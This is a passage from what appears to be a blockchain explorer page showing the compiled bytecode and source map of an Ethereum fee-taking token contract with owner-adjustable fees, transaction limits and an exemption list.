15575f80fd5b813561052381611486565b5f805f805f805f60e0888a031215611536575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f805f60608486031215611579575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156115a1575f80fd5b82356115ac81611486565b915060208301356115bc81611486565b809150509250929050565b5f80604083850312156115d8575f80fd5b82356115e381611486565b9150602083013580151581146115bc575f80fd5b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104ab576104ab6115f7565b5f8261163c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104ab576104ab6115f7565b808201808211156104ab576104ab6115f7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561168b575f80fd5b815161052381611486565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116e65784516001600160a01b0316835293830193918301916001016116c1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611719575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212209a2df67132d2358ad0a9d92b97045209535f9af08932c94ba93e14d91ea04fff64736f6c63430008160033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb146103ad578063dd62ed3e146103cc578063dec505af14610410578063f242ab411461042f578063f2fde38b1461044e578063f96ab6761461046d575f80fd5b8063751039fc146102f75780637d1db4a51461030b578063893d20e81461031f5780638c4adf2e1461034f5780639358928b1461036e57806395d89b4114610382575f80fd5b80632f54bf6e116101045780632f54bf6e14610234578063313ce56714610261578063318111fb1461027c5780636c0a24eb1461029b57806370a08231146102af578063715018a6146102e3575f80fd5b806306fdde0314610155578063095ea7b31461019e57806318160ddd146101cd5780631f976b7e146101eb57806323b872dd146101ff578063293230b81461021e575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600f81526e2bb7b9359037b7102134ba31b7b4b760891b60208201525b604051610195919061143a565b60405180910390f35b3480156101a9575f80fd5b506101bd6101b836600461149d565b61049b565b6040519015158152602001610195565b3480156101d8575f80fd5b506001545b604051908152602001610195565b3480156101f6575f80fd5b506101dd6104b1565b34801561020a575f80fd5b506101bd6102193660046114c7565b6104da565b348015610229575f80fd5b5061023261052a565b005b34801561023f575f80fd5b506101bd61024e366004611505565b5f546001600160a01b0391821691161490565b34801561026c575f80fd5b5060405160098152602001610195565b348015610287575f80fd5b50610232610296366004611520565b61054e565b3480156102a6575f80fd5b506101dd6105c5565b3480156102ba575f80fd5b506101dd6102c9366004611505565b6001600160a01b03165f908152600f602052604090205490565b3480156102ee575f80fd5b506102326105d5565b348015610302575f80fd5b5061023261062e565b348015610316575f80fd5b506101dd610655565b34801561032a575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610195565b34801561035a575f80fd5b50610232610369366004611567565b610665565b348015610379575f80fd5b506101dd61073b565b34801561038d575f80fd5b506040805180820190915260038152622ba7a160e91b6020820152610188565b3480156103b8575f80fd5b506101bd6103c736600461149d565b6107a3565b3480156103d7575f80fd5b506101dd6103e6366004611590565b6001600160a01b039182165f908152600c6020908152604080832093909416825291909152205490565b34801561041b575f80fd5b5061023261042a3660046115c7565b6107af565b34801561043a575f80fd5b50600554610337906001600160a01b031681565b348015610459575f80fd5b50610232610468366004611505565b6107ee565b348015610478575f80fd5b506101bd610487366004611505565b60146020525f908152604090205460ff1681565b5f6104a7338484610856565b5060015b92915050565b5f6003546007546104c160015490565b6104cb919061160b565b6104d59190611622565b905090565b5f6104e68484846108da565b6001600160a01b0384165f908152600c602090815260408083203380855292529091205461051f91869161051a9086610ba3565b610856565b5060015b9392505050565b5f546001600160a01b0316331461053f575f80fd5b600b805460ff19166001179055565b5f546001600160a01b03163314610563575f80fd5b6016869055601587905560178490556012859055601082905560118390556013819055600354610594906005610bae565b601154111580156105b457506003546105ae906005610bae565b60105411155b6105bc575f80fd5b50505050505050565b5f6003546006546104c160015490565b5f546001600160a01b031633146105ea575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610643575f80fd5b61271060068190556008819055600755565b5f6003546008546104c160015490565b5f546001600160a01b0316331461067a575f80fd5b5f6127108461068860015490565b610692919061160b565b61069c9190611622565b90505f612710846106ac60015490565b6106b6919061160b565b6106c09190611622565b90505f612710846106d060015490565b6106da919061160b565b6106e49190611622565b60088790556007869055600685905590505f6107166103e8610710600561070a60015490565b90610bb9565b90610bae565b90508084101580156107285750808310155b80156105b45750808210156105bc575f80fd5b600f6020527f99629f56119585bf27511b6b7d295dffb54757453fcc3dabcf51d92028301f10545f8080527ff4803e074bd026baaf6ed2e288c9515f68c72fb7216eebdd7cae1718a53ec3755460015491926104d592909161079d9190610ba3565b90610ba3565b5f6104a73384846108da565b5f546001600160a01b031633146107c4575f80fd5b6001600160a01b03919091165f908152601460205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610803575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610868575f80fd5b6001600160a01b03821661087a575f80fd5b6001600160a01b038381165f818152600c602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6108e48383610bc4565b80156108f557506108f58383610c20565b80156109075750610907838383610c73565b80156109195750610919838383610ca3565b801561092b575061092b838383610d68565b15610b9e576001600160a01b038084165f818152601460205260408082205486851683529082205460055460ff928316959190921693911614159084610985886001600160a01b03165f908152600f602052604090205490565b1080159150610ac1578315801561099a575082155b80156109ae5750600b54610100900460ff16155b80156109b75750815b156109df57600954610100900460ff16156109d55750505050505050565b6109df8787610e35565b6001600160a01b0387165f908152600f6020526040902054610a019086610ba3565b6001600160a01b0388165f908152600f6020526040812091909155610a268888610e74565b610a305785610a3b565b610a3b888888610eb8565b6001600160a01b0388165f908152600f6020526040902054909150610a609082610fa2565b6001600160a01b038089165f818152600f602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ab39085815260200190565b60405180910390a3506105bc565b838015610acc575082155b8015610ae05750600b54610100900460ff16155b8015610ae95750815b156105bc576001600160a01b0387165f908152600f6020526040902054610b109086610fa2565b6001600160a01b038089165f908152600f60205260408082209390935590881681522054610b3e9086610ba3565b6001600160a01b038088165f818152600f602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b919089815260200190565b60405180910390a3505050505b505050565b5f6105238284611641565b5f6105238284611622565b5f610523828461160b565b6005545f906001600160a01b038381169116148015610bfb57506001600160a01b0383165f9081526014602052604090205460ff16155b156104a7576001600a5f828254610c129190611654565b909155505050600192915050565b6001600160a01b0382165f9081526014602052604081205460ff16158015610c6057506001600160a01b0382165f9081526014602052604090205460ff16155b156104a757600b5460ff166104a7575f80fd5b5f808211610c7f575f80fd5b6001600160a01b038316610c91575f80fd5b6001600160a01b03841661051f575f80fd5b6005545f906001600160a01b03858116911614610d1157610cc26104b1565b82111580610ce757506001600160a01b0384165f9081526014602052604090205460ff165b80610d0957506001600160a01b0383165f9081526014602052604090205460ff165b610d11575f80fd5b610d19610655565b82111580610d3e57506001600160a01b0384165f9081526014602052604090205460ff165b80610d6057506001600160a01b0383165f9081526014602052604090205460ff165b61051f575f80fd5b6001600160a01b038381165f908152601460205260408082205460055460025487861680865293852054949560ff9384169592168414801594918811939092169161dead90911415908490610dba5750805b8015610dc4575084155b8015610dce575081155b15610e0757610ddb6105c5565b6001600160a01b0389165f908152600f6020526040902054610dfd9089610fa2565b1115610e07575f80fd5b818015610e115750825b15610e26576009805461ff0019166101001790555b50600198975050505050505050565b610e3f8282610fad565b15610e7057305f908152600f6020526040902054600d548110610e615750600d545b610e6a81611049565b505f600a555b5050565b6001600160a01b0382165f9081526014602052604081205460ff161580156105235750506001600160a01b03165f9081526014602052604090205460ff1615919050565b5f80610ec485856111c8565b1115610f9b575f610ee6610ed886866111c8565b60035461070a908690610bae565b305f908152600f6020526040902054909150610f029082610fa2565b305f818152600f6020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f529085815260200190565b60405180910390a360125415610f8957610f893061dead610f8460125461070a60035489610bae90919063ffffffff16565b6108da565b610f938382610ba3565b915050610523565b5092915050565b5f6105238284611654565b6001600160a01b0382165f9081526014602052604081205460ff16158015610fed57506001600160a01b0382165f9081526014602052604090205460ff16155b80156110015750600b54610100900460ff16155b801561101d5750600e54305f908152600f602052604090205410155b801561102b5750600b5460ff165b8015611039575060095460ff165b8015610523575060019392505050565b600b805461ff0019166101001790556017546016546015545f926110829260029261070a929161107c9182906001610fa2565b90610fa2565b90505f61109e8261071060155486610bb990919063ffffffff16565b90505f6110ab8483610ba3565b9050476110b782611212565b5f6110c24783610ba3565b90505f6110e46110dd60155488610ba390919063ffffffff16565b8390610bae565b90505f6110fc60155483610bb990919063ffffffff16565b9050801561110e5761110e868261138a565b6016545f906111229061070a856002610bb9565b9050801561116a5760405173731ff79b47c6abc5a99a3714d02c45e66a056d829082156108fc029083905f818181858888f19350505050158015611168573d5f803e3d5ffd5b505b4780156111b15760405173731ff79b47c6abc5a99a3714d02c45e66a056d829082156108fc029083905f818181858888f193505050501580156111af573d5f803e3d5ffd5b505b5050600b805461ff00191690555050505050505050565b6005545f906001600160a01b03908116908316036111e957506010546104ab565b6005546001600160a01b039081169084160361120857506011546104ab565b5060135492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124557611245611667565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d9919061167b565b816001815181106112ec576112ec611667565b6001600160a01b03909216602092830291909101909101528115610e70576004546113229030906001600160a01b031684610856565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac947916113599186915f9187913091429101611696565b5f604051808303815f87803b158015611370575f80fd5b505af1158015611382573d5f803e3d5ffd5b505050505050565b6004546113a29030906001600160a01b031684610856565b6004805460405163f305d71960e01b81523092810192909252602482018490525f60448301819052606483015261dead60848301524260a48301526001600160a01b03169063f305d71990839060c40160606040518083038185885af115801561140e573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114339190611707565b5050505050565b5f602080835283518060208501525f5b818110156114665785810183015185820160400152820161144a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461149a575f80fd5b50565b5f80604083850312156114ae575f80fd5b82356114b981611486565b946020939093013593505050565b5f805f606084860312156114d9575f80fd5b83356114e481611486565b925060208401356114f481611486565b929592945050506040919091013590565b5f60208284031215611515575f80fd5b813561052381611486565b5f805f805f805f60e0888a031215611536575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f805f60608486031215611579575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156115a1575f80fd5b82356115ac81611486565b915060208301356115bc81611486565b809150509250929050565b5f80604083850312156115d8575f80fd5b82356115e381611486565b9150602083013580151581146115bc575f80fd5b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104ab576104ab6115f7565b5f8261163c57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156104ab576104ab6115f7565b808201808211156104ab576104ab6115f7565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561168b575f80fd5b815161052381611486565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156116e65784516001600160a01b0316835293830193918301916001016116c1565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611719575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212209a2df67132d2358ad0a9d92b97045209535f9af08932c94ba93e14d91ea04fff64736f6c63430008160033

Deployed Bytecode Sourcemap

2960:13875:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5412:83;;;;;;;;;;-1:-1:-1;5482:5:0;;;;;;;;;;;;-1:-1:-1;;;5482:5:0;;;;5412:83;;;;;;;:::i;:::-;;;;;;;;6822:159;;;;;;;;;;-1:-1:-1;6822:159:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6822:159:0;1023:187:1;5863:100:0;;;;;;;;;;-1:-1:-1;5943:12:0;;5863:100;;;1361:25:1;;;1349:2;1334:18;5863:100:0;1215:177:1;16381:138:0;;;;;;;;;;;;;:::i;12672:265::-;;;;;;;;;;-1:-1:-1;12672:265:0;;;;;:::i;:::-;;:::i;6423:83::-;;;;;;;;;;;;;:::i;:::-;;2048:103;;;;;;;;;;-1:-1:-1;2048:103:0;;;;;:::i;:::-;2103:4;2138:5;-1:-1:-1;;;;;2127:16:0;;;2138:5;;2127:16;;2048:103;5603:83;;;;;;;;;;-1:-1:-1;5603:83:0;;3069:1;2252:36:1;;2240:2;2225:18;5603:83:0;2110:184:1;6989:548:0;;;;;;;;;;-1:-1:-1;6989:548:0;;;;;:::i;:::-;;:::i;16527:134::-;;;;;;;;;;;;;:::i;6122:119::-;;;;;;;;;;-1:-1:-1;6122:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6215:18:0;6188:7;6215:18;;;:9;:18;;;;;;;6122:119;1901:139;;;;;;;;;;;;;:::i;6249:166::-;;;;;;;;;;;;;:::i;16706:126::-;;;;;;;;;;;;;:::i;5503:92::-;;;;;;;;;;-1:-1:-1;5555:7:0;5582:5;-1:-1:-1;;;;;5582:5:0;5503:92;;;-1:-1:-1;;;;;3060:32:1;;;3042:51;;3030:2;3015:18;5503:92:0;2896:203:1;7918:677:0;;;;;;;;;;-1:-1:-1;7918:677:0;;;;;:::i;:::-;;:::i;5694:161::-;;;;;;;;;;;;;:::i;5317:87::-;;;;;;;;;;-1:-1:-1;5389:7:0;;;;;;;;;;;;-1:-1:-1;;;5389:7:0;;;;5317:87;;6649:165;;;;;;;;;;-1:-1:-1;6649:165:0;;;;;:::i;:::-;;:::i;5971:143::-;;;;;;;;;;-1:-1:-1;5971:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6079:18:0;;;6052:7;6079:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5971:143;6514:127;;;;;;;;;;-1:-1:-1;6514:127:0;;;;;:::i;:::-;;:::i;3484:22::-;;;;;;;;;;-1:-1:-1;3484:22:0;;;;-1:-1:-1;;;;;3484:22:0;;;1745:148;;;;;;;;;;-1:-1:-1;1745:148:0;;;;;:::i;:::-;;:::i;4463:42::-;;;;;;;;;;-1:-1:-1;4463:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6822:159;6897:4;6914:37;6923:10;6935:7;6944:6;6914:8;:37::i;:::-;-1:-1:-1;6969:4:0;6822:159;;;;;:::o;16381:138::-;16432:7;16500:11;;16475:22;;16459:13;5943:12;;;5863:100;16459:13;:38;;;;:::i;:::-;:52;;;;:::i;:::-;16452:59;;16381:138;:::o;12672:265::-;12770:4;12787:36;12797:6;12805:9;12816:6;12787:9;:36::i;:::-;-1:-1:-1;;;;;12863:19:0;;;;;;:11;:19;;;;;;;;12851:10;12863:31;;;;;;;;;12834:73;;12843:6;;12863:43;;12899:6;12863:35;:43::i;:::-;12834:8;:73::i;:::-;-1:-1:-1;12925:4:0;12672:265;;;;;;:::o;6423:83::-;2103:4;2138:5;-1:-1:-1;;;;;2138:5:0;1705:10;2127:16;1689:28;;;;;;6477:14:::1;:21:::0;;-1:-1:-1;;6477:21:0::1;6494:4;6477:21;::::0;;6423:83::o;6989:548::-;2103:4;2138:5;-1:-1:-1;;;;;2138:5:0;1705:10;2127:16;1689:28;;;;;;7194:15:::1;:34:::0;;;7239:15:::1;:34:::0;;;7284:9:::1;:22:::0;;;7317:9:::1;:22:::0;;;7350:9:::1;:22:::0;;;7383:8:::1;:20:::0;;;7414:13:::1;:30:::0;;;-1:-1:-1;7475:11:0;:18:::1;::::0;-1:-1:-1;7475:15:0::1;:18::i;:::-;7463:8;;:30;;:65;;;;-1:-1:-1::0;7510:11:0::1;::::0;:18:::1;::::0;7526:1:::1;7510:15;:18::i;:::-;7497:9;;:31;;7463:65;7455:74;;;::::0;::::1;;6989:548:::0;;;;;;;:::o;16527:134::-;16576:7;16642:11;;16619:20;;16603:13;5943:12;;;5863:100;1901:139;2103:4;2138:5;-1:-1:-1;;;;;2138:5:0;1705:10;2127:16;1689:28;;;;;;1982:1:::1;1966:18:::0;;-1:-1:-1;;;;;;1966:18:0::1;::::0;;2000:32:::1;::::0;3042:51:1;;;2000:32:0::1;::::0;3030:2:1;3015:18;2000:32:0::1;;;;;;;1901:139::o:0;6249:166::-;2103:4;2138:5;-1:-1:-1;;;;;2138:5:0;1705:10;2127:16;1689:28;;;;;;6326:5:::1;6303:20;:28:::0;;;6342:16:::1;:24:::0;;;6377:22:::1;:30:::0;6249:166::o;16706:126::-;16751:7;16813:11;;16794:16;;16778:13;5943:12;;;5863:100;7918:677;2103:4;2138:5;-1:-1:-1;;;;;2138:5:0;1705:10;2127:16;1689:28;;;;;;8062:13:::1;8114:5;8095:15;8079:13;5943:12:::0;;;5863:100;8079:13:::1;:31;;;;:::i;:::-;8078:41;;;;:::i;:::-;8062:57;;8130:19;8194:5;8169:21;8153:13;5943:12:::0;;;5863:100;8153:13:::1;:37;;;;:::i;:::-;8152:47;;;;:::i;:::-;8130:69;;8210:17;8270:5;8247:19;8231:13;5943:12:::0;;;5863:100;8231:13:::1;:35;;;;:::i;:::-;8230:45;;;;:::i;:::-;8286:16;:34:::0;;;8331:22:::1;:46:::0;;;8388:20:::1;:42:::0;;;8210:65;-1:-1:-1;;8462:30:0::1;8487:4;8462:20;8480:1;8462:13;5943:12:::0;;;5863:100;8462:13:::1;:17:::0;::::1;:20::i;:::-;:24:::0;::::1;:30::i;:::-;8441:51;;8520:10;8511:5;:19;;:48;;;;;8549:10;8534:11;:25;;8511:48;:75;;;;;8576:10;8563:9;:23;;8503:84;;;::::0;::::1;5694:161:::0;6215:9;:18;;;;5753:7;6215:18;;;;;5780:12;;5753:7;;5780:67;;6215:18;;5780:39;;:12;:16;:39::i;:::-;:43;;:67::i;6649:165::-;6727:4;6744:40;6754:10;6766:9;6777:6;6744:9;:40::i;6514:127::-;2103:4;2138:5;-1:-1:-1;;;;;2138:5:0;1705:10;2127:16;1689:28;;;;;;-1:-1:-1;;;;;6601:19:0;;;::::1;;::::0;;;:9:::1;:19;::::0;;;;:32;;-1:-1:-1;;6601:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6514:127::o;1745:148::-;2103:4;2138:5;-1:-1:-1;;;;;2138:5:0;1705:10;2127:16;1689:28;;;;;;1825:5:::1;:15:::0;;-1:-1:-1;;;;;;1825:15:0::1;-1:-1:-1::0;;;;;1825:15:0;::::1;::::0;;::::1;::::0;;;1856:29:::1;::::0;3042:51:1;;;1856:29:0::1;::::0;3030:2:1;3015:18;1856:29:0::1;;;;;;;1745:148:::0;:::o;8865:257::-;-1:-1:-1;;;;;8958:19:0;;8950:28;;;;;;-1:-1:-1;;;;;8997:21:0;;8989:30;;;;;;-1:-1:-1;;;;;9030:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9082:32;;1361:25:1;;;9082:32:0;;1334:18:1;9082:32:0;;;;;;;8865:257;;;:::o;10390:1716::-;10497:33;10512:6;10520:9;10497:14;:33::i;:::-;:85;;;;;10547:35;10564:6;10572:9;10547:16;:35::i;:::-;10497:142;;;;;10599:40;10613:6;10621:9;10632:6;10599:13;:40::i;:::-;10497:197;;;;;10656:38;10668:6;10676:9;10687:6;10656:11;:38::i;:::-;10497:255;;;;;10711:41;10726:6;10734:9;10745:6;10711:14;:41::i;:::-;10479:1620;;;-1:-1:-1;;;;;10800:17:0;;;10779:18;10800:17;;;:9;:17;;;;;;;10856:20;;;;;;;;;10924:7;;10800:17;;;;;10856:20;;;;;10924:7;;10914:17;;;10991:6;10970:17;10810:6;-1:-1:-1;;;;;6215:18:0;6188:7;6215:18;;;:9;:18;;;;;;;6122:119;10970:17;:27;;;;-1:-1:-1;11014:1074:0;;11082:13;11081:14;:57;;;;;11122:16;11121:17;11081:57;:89;;;;-1:-1:-1;11164:6:0;;;;;;;11163:7;11081:89;:129;;;;;11195:15;11081:129;11055:299;;;11257:19;;;;;;;11253:32;;;11278:7;;;;10390:1716;;;:::o;11253:32::-;11307:27;11316:6;11324:9;11307:8;:27::i;:::-;-1:-1:-1;;;;;11392:17:0;;;;;;:9;:17;;;;;;:29;;11414:6;11392:21;:29::i;:::-;-1:-1:-1;;;;;11372:17:0;;;;;;:9;:17;;;;;:49;;;;11465:34;11382:6;11489:9;11465:15;:34::i;:::-;:82;;11541:6;11465:82;;;11502:36;11512:6;11520:9;11531:6;11502:9;:36::i;:::-;-1:-1:-1;;;;;11589:20:0;;;;;;:9;:20;;;;;;11440:107;;-1:-1:-1;11589:40:0;;11440:107;11589:24;:40::i;:::-;-1:-1:-1;;;;;11566:20:0;;;;;;;:9;:20;;;;;;;:63;;;;11653:43;;;;;;;;;;11681:14;1361:25:1;;1349:2;1334:18;;1215:177;11653:43:0;;;;;;;;11036:676;11014:1074;;;11740:13;:51;;;;;11775:16;11774:17;11740:51;:79;;;;-1:-1:-1;11813:6:0;;;;;;;11812:7;11740:79;:115;;;;;11840:15;11740:115;11718:370;;;-1:-1:-1;;;;;11910:17:0;;;;;;:9;:17;;;;;;:29;;11932:6;11910:21;:29::i;:::-;-1:-1:-1;;;;;11890:17:0;;;;;;;:9;:17;;;;;;:49;;;;11981:20;;;;;;;:32;;12006:6;11981:24;:32::i;:::-;-1:-1:-1;;;;;11958:20:0;;;;;;;:9;:20;;;;;;;:55;;;;12037:35;;;;;;;;;;12065:6;1361:25:1;;1349:2;1334:18;;1215:177;12037:35:0;;;;;;;;10764:1335;;;;10479:1620;10390:1716;;;:::o;1207:98::-;1265:7;1292:5;1296:1;1292;:5;:::i;1419:98::-;1477:7;1504:5;1508:1;1504;:5;:::i;1313:98::-;1371:7;1398:5;1402:1;1398;:5;:::i;9919:222::-;10030:7;;9996:4;;-1:-1:-1;;;;;10017:20:0;;;10030:7;;10017:20;:42;;;;-1:-1:-1;;;;;;10042:17:0;;;;;;:9;:17;;;;;;;;10041:18;10017:42;10013:99;;;10098:1;10076:10;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;;10129:4:0;9919:222;;;;:::o;10153:229::-;-1:-1:-1;;;;;10259:17:0;;10237:4;10259:17;;;:9;:17;;;;;;;;10258:18;:43;;;;-1:-1:-1;;;;;;10281:20:0;;;;;;:9;:20;;;;;;;;10280:21;10258:43;10254:99;;;10326:14;;;;10318:23;;;;;8603:254;8699:4;8741:1;8724:6;:19;8716:28;;;;;;-1:-1:-1;;;;;8763:23:0;;8755:32;;;;;;-1:-1:-1;;;;;8806:20:0;;8798:29;;;;;7545:365;7672:7;;7641:4;;-1:-1:-1;;;;;7662:17:0;;;7672:7;;7662:17;7658:134;;7714:20;:18;:20::i;:::-;7704:6;:30;;:51;;;-1:-1:-1;;;;;;7738:17:0;;;;;;:9;:17;;;;;;;;7704:51;:75;;;-1:-1:-1;;;;;;7759:20:0;;;;;;:9;:20;;;;;;;;7704:75;7696:84;;;;;;7820:14;:12;:14::i;:::-;7810:6;:24;;:45;;;-1:-1:-1;;;;;;7838:17:0;;;;;;:9;:17;;;;;;;;7810:45;:69;;;-1:-1:-1;;;;;;7859:20:0;;;;;;:9;:20;;;;;;;;7810:69;7802:78;;;;;9130:781;-1:-1:-1;;;;;9261:17:0;;;9223:4;9261:17;;;:9;:17;;;;;;;9336:7;;9388:15;;9315:29;;;9438:20;;;;;;;9223:4;;9261:17;;;;;9336:7;;9315:29;;;;;9379:24;;;;9438:20;;;;3407:42;9499:33;;;;;9315:29;;9571:57;;;9606:22;9571:57;:88;;;;;9646:13;9645:14;9571:88;:122;;;;;9677:16;9676:17;9571:122;9553:244;;;9766:18;:16;:18::i;:::-;-1:-1:-1;;;;;9729:20:0;;;;;;:9;:20;;;;;;:32;;9754:6;9729:24;:32::i;:::-;9728:56;;9720:65;;;;;;9815:16;:36;;;;;9835:16;9815:36;9811:68;;;9853:19;:26;;-1:-1:-1;;9853:26:0;;;;;9811:68;-1:-1:-1;9899:4:0;;9130:781;-1:-1:-1;;;;;;;;9130:781:0:o;15270:422::-;15347:33;15362:6;15370:9;15347:14;:33::i;:::-;15343:342;;;15446:4;15397:28;6215:18;;;:9;:18;;;;;;15495:15;;15471:39;;15467:118;;-1:-1:-1;15554:15:0;;15467:118;15599:36;15614:20;15599:14;:36::i;:::-;-1:-1:-1;15671:1:0;15650:10;:23;15343:342;15270:422;;:::o;12114:158::-;-1:-1:-1;;;;;12222:17:0;;12197:4;12222:17;;;:9;:17;;;;;;;;12221:18;:43;;;;-1:-1:-1;;;;;;;12244:20:0;;;;;:9;:20;;;;;;;;12243:21;;12114:158;-1:-1:-1;12114:158:0:o;15700:673::-;15793:7;15847:1;15817:27;15826:6;15834:9;15817:8;:27::i;:::-;:31;15813:524;;;15865:22;15890:61;15923:27;15932:6;15940:9;15923:8;:27::i;:::-;15906:11;;15890:28;;:11;;:15;:28::i;:61::-;16011:4;15993:24;;;;:9;:24;;;;;;15865:86;;-1:-1:-1;15993:44:0;;15865:86;15993:28;:44::i;:::-;15984:4;15966:24;;;;:9;:24;;;;;;;:71;;;;16057:47;;-1:-1:-1;;;;;16057:47:0;;;;;;;16089:14;1361:25:1;;1349:2;1334:18;;1215:177;16057:47:0;;;;;;;;16123:9;;:22;16119:154;;16166:91;16184:4;3407:42;16213:43;16246:9;;16213:28;16229:11;;16213;:15;;:28;;;;:::i;:43::-;16166:9;:91::i;:::-;16294:31;:11;16310:14;16294:15;:31::i;:::-;16287:38;;;;;15813:524;-1:-1:-1;16354:11:0;15700:673;-1:-1:-1;;15700:673:0:o;1101:98::-;1159:7;1186:5;1190:1;1186;:5;:::i;12280:384::-;-1:-1:-1;;;;;12402:17:0;;12362:4;12402:17;;;:9;:17;;;;;;;;12401:18;:56;;;;-1:-1:-1;;;;;;12437:20:0;;;;;;:9;:20;;;;;;;;12436:21;12401:56;:80;;;;-1:-1:-1;12475:6:0;;;;;;;12474:7;12401:80;:144;;;;-1:-1:-1;12526:19:0;;12516:4;6188:7;6215:18;;;:9;:18;;;;;;12498:47;;12401:144;:175;;;;-1:-1:-1;12562:14:0;;;;12401:175;:203;;;;-1:-1:-1;12593:11:0;;;;12401:203;:244;;;;-1:-1:-1;12621:24:0;;12280:384;-1:-1:-1;;;12280:384:0:o;13841:1135::-;5251:6;:13;;-1:-1:-1;;5251:13:0;;;;;13983:9:::1;::::0;13962:15:::1;::::0;13935::::1;::::0;5251:13;;13934:67:::1;::::0;13999:1:::1;::::0;13935:58:::1;::::0;13983:9;13935:43:::1;::::0;;;5260:4;13935:19:::1;:22::i;:::-;:26:::0;::::1;:43::i;13934:67::-;13911:90;;14012:26;14041:45;14073:12;14041:27;14052:15;;14041:6;:10;;:27;;;;:::i;:45::-;14012:74:::0;-1:-1:-1;14097:20:0::1;14120:30;:6:::0;14012:74;14120:10:::1;:30::i;:::-;14097:53:::0;-1:-1:-1;14189:21:0::1;14221:30;14097:53:::0;14221:16:::1;:30::i;:::-;14262:23;14288:44;:21;14314:17:::0;14288:25:::1;:44::i;:::-;14262:70;;14343:22;14368:54;14388:33;14405:15;;14388:12;:16;;:33;;;;:::i;:::-;14368:15:::0;;:19:::1;:54::i;:::-;14343:79;;14433:23;14459:35;14478:15;;14459:14;:18;;:35;;;;:::i;:::-;14433:61:::0;-1:-1:-1;14509:28:0;;14505:110:::1;;14554:49;14567:18;14587:15;14554:12;:49::i;:::-;14674:15;::::0;14625:20:::1;::::0;14648:42:::1;::::0;:21:::1;:14:::0;14667:1:::1;14648:18;:21::i;:42::-;14625:65:::0;-1:-1:-1;14705:16:0;;14701:97:::1;;14738:48;::::0;3711:42:::1;::::0;14738:48;::::1;;;::::0;14773:12;;14738:48:::1;::::0;;;14773:12;3711:42;14738:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14701:97;14833:21;14869:27:::0;;14865:104:::1;;14913:44;::::0;3799:42:::1;::::0;14913:44;::::1;;;::::0;14942:14;;14913:44:::1;::::0;;;14942:14;3799:42;14913:44;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14865:104;-1:-1:-1::0;;5287:6:0;:14;;-1:-1:-1;;5287:14:0;;;-1:-1:-1;;;;;;;;13841:1135:0:o;14984:278::-;15097:7;;15060;;-1:-1:-1;;;;;15097:7:0;;;15084:20;;;;15080:69;;-1:-1:-1;15128:9:0;;15121:16;;15080:69;15173:7;;-1:-1:-1;;;;;15173:7:0;;;15163:17;;;;15159:65;;-1:-1:-1;15204:8:0;;15197:15;;15159:65;-1:-1:-1;15241:13:0;;14984:278;;;;:::o;12945:528::-;13035:16;;;13049:1;13035:16;;;;;;;;13011:21;;13035:16;;;;;;;;;;-1:-1:-1;13035:16:0;13011:40;;13080:4;13062;13067:1;13062:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;13062:23:0;;;-1:-1:-1;;;;;13062:23:0;;;;;13106:9;;;;;;;